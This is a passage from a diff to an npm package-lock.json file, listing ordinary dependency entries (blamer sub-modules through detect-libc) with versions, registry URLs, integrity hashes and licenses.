"sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^7.0.0", + "get-stream": "^5.0.0", + "human-signals": "^1.1.1", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.0", + "onetime": "^5.1.0", + "signal-exit": "^3.0.2", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/blamer/node_modules/human-signals": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", + "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8.12.0" + } + }, + "node_modules/blamer/node_modules/npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/blamer/node_modules/strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz", + "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/body-parser": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz", + "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==", + "license": "MIT", + "dependencies": { + "bytes": "^3.1.2", + "content-type": "^1.0.5", + "debug": "^4.4.3", + "http-errors": "^2.0.0", + "iconv-lite": "^0.7.0", + "on-finished": "^2.4.1", + "qs": "^6.14.1", + "raw-body": "^3.0.1", + "type-is": "^2.0.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/bowser": { + "version": "2.14.1", + "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.14.1.tgz", + "integrity": "sha512-tzPjzCxygAKWFOJP011oxFHs57HzIhOEracIgAePE4pqB3LikALKnSzUyU4MGs9/iCEUuHlAJTjTc5M+u7YEGg==", + "license": "MIT" + }, + "node_modules/brace-expansion": { + "version": "5.0.5", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.5.tgz", + "integrity": "sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ==", + "license": "MIT", + "dependencies": { + "balanced-match": "^4.0.2" + }, + "engines": { + "node": "18 || 20 || >=22" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "0.2.13", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", + "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/buffer-equal-constant-time": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", + "integrity": "sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==", + "license": "BSD-3-Clause" + }, + "node_modules/bundle-name": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/bundle-name/-/bundle-name-4.1.0.tgz", + "integrity": "sha512-tjwM5exMg6BGRI+kNmTntNsvdZS1X8BFYS6tnJ2hdH0kVxM6/eVZ2xy+FqStSWvYmtfFMDLIxurorHwDKfDz5Q==", + "license": "MIT", + "dependencies": { + "run-applescript": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.9.tgz", + "integrity": "sha512-a/hy+pNsFUTR+Iz8TCJvXudKVLAnz/DyeSUo10I5yvFDQJBFU2s9uqQpoSrJlroHUKoKqzg+epxyP9lqFdzfBQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "get-intrinsic": "^1.3.0", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chai": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz", + "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "license": "MIT", + "engines": { + "node": "^12.17.0 || ^14.13 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/character-entities": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz", + "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz", + "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-parser": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/character-parser/-/character-parser-2.2.0.tgz", + "integrity": "sha512-+UqJQjFEFaTAs3bNsF2j2kEN1baG/zghZbdqoYEDxGZtJo9LBzl1A+m0D4n3qKx8N2FNv8/Xp6yV9mQmBuptaw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-regex": "^1.0.3" + } + }, + "node_modules/character-reference-invalid": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz", + "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chardet": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-2.1.1.tgz", + "integrity": "sha512-PsezH1rqdV9VvyNhxxOW32/d75r01NY7TQCmOqomRo15ZSOKbpTFVsfjghxo6JloQUCGnH4k1LGu0R4yCLlWQQ==", + "license": "MIT" + }, + "node_modules/chokidar": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", + "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", + "license": "MIT", + "dependencies": { + "readdirp": "^5.0.0" + }, + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/chromium-bidi": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/chromium-bidi/-/chromium-bidi-14.0.0.tgz", + "integrity": "sha512-9gYlLtS6tStdRWzrtXaTMnqcM4dudNegMXJxkR0I/CXObHalYeYcAMPrL19eroNZHtJ8DQmu1E+ZNOYu/IXMXw==", + "license": "Apache-2.0", + "dependencies": { + "mitt": "^3.0.1", + "zod": "^3.24.1" + }, + "peerDependencies": { + "devtools-protocol": "*" + } + }, + "node_modules/chromium-bidi/node_modules/zod": { + "version": "3.25.76", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz", + "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + }, + "node_modules/cjs-module-lexer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.2.0.tgz", + "integrity": "sha512-4bHTS2YuzUvtoLjdy+98ykbNB5jS0+07EvFNXerqZQJ89F7DI6ET7OQo/HJuW6K0aVsKA9hj9/RVb2kQVOrPDQ==", + "license": "MIT" + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-spinners": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.9.2.tgz", + "integrity": "sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/cli-table3": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/cli-table3/-/cli-table3-0.6.5.tgz", + "integrity": "sha512-+W/5efTR7y5HRD7gACw9yQjqMVvEMLBHmboM/kPWam+H+Hmyrgjh6YncVKK122YZkXrLudzTuAukUw9FnMf7IQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "string-width": "^4.2.0" + }, + "engines": { + "node": "10.* || >= 12.*" + }, + "optionalDependencies": { + "@colors/colors": "1.5.0" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/cliui/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", + "license": "MIT" + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true, + "license": "MIT" + }, + "node_modules/constantinople": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", + "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.6.0", + "@babel/types": "^7.6.1" + } + }, + "node_modules/content-disposition": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-1.0.1.tgz", + "integrity": "sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/content-type": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz", + "integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.2.tgz", + "integrity": "sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.2.2.tgz", + "integrity": "sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==", + "license": "MIT", + "engines": { + "node": ">=6.6.0" + } + }, + "node_modules/cors": { + "version": "2.8.6", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.6.tgz", + "integrity": "sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==", + "license": "MIT", + "dependencies": { + "object-assign": "^4", + "vary": "^1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/data-uri-to-buffer": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz", + "integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.3.0.tgz", + "integrity": "sha512-GtpQYB283KrPp6nRw50q3U9/VfOutZOe103qlN7BPP6Ad27xYnOIWv4lPzo8HCAL+mMZofJ9KEy30fq6MfaK6Q==", + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deepmerge": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.3.1.tgz", + "integrity": "sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/default-browser": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-5.5.0.tgz", + "integrity": "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==", + "license": "MIT", + "dependencies": { + "bundle-name": "^4.1.0", + "default-browser-id": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/default-browser-id": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-5.0.1.tgz", + "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-lazy-prop": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz", + "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==", + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/degenerator": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-7.0.1.tgz", + "integrity": "sha512-ABErK0IefDSyHjlPH7WUEenIAX2rPPnrDcDM+TS3z3+zu9TfyKKi07BQM+8rmxpdE2y1v5fjjdoAS/x4D2U60w==", + "license": "MIT", + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "quickjs-wasi": "^2.2.0" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/dependency-tree": { + "version": "11.4.3", + "resolved": "https://registry.npmjs.org/dependency-tree/-/dependency-tree-11.4.3.tgz", + "integrity": "sha512-Y2gzOJ2Rb2X7MN6pT9llWpXxl5J5s5/11CBpJ5b85DjEqZH7jv3T9RO6HRV/PI/3MDmaKn/g7uoYdYmSb9vLlw==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^12.1.0", + "filing-cabinet": "^5.3.0", + "precinct": "^12.3.1", + "typescript": "^5.9.3" + }, + "bin": { + "dependency-tree": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/dependency-tree/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/dependency-tree/node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": 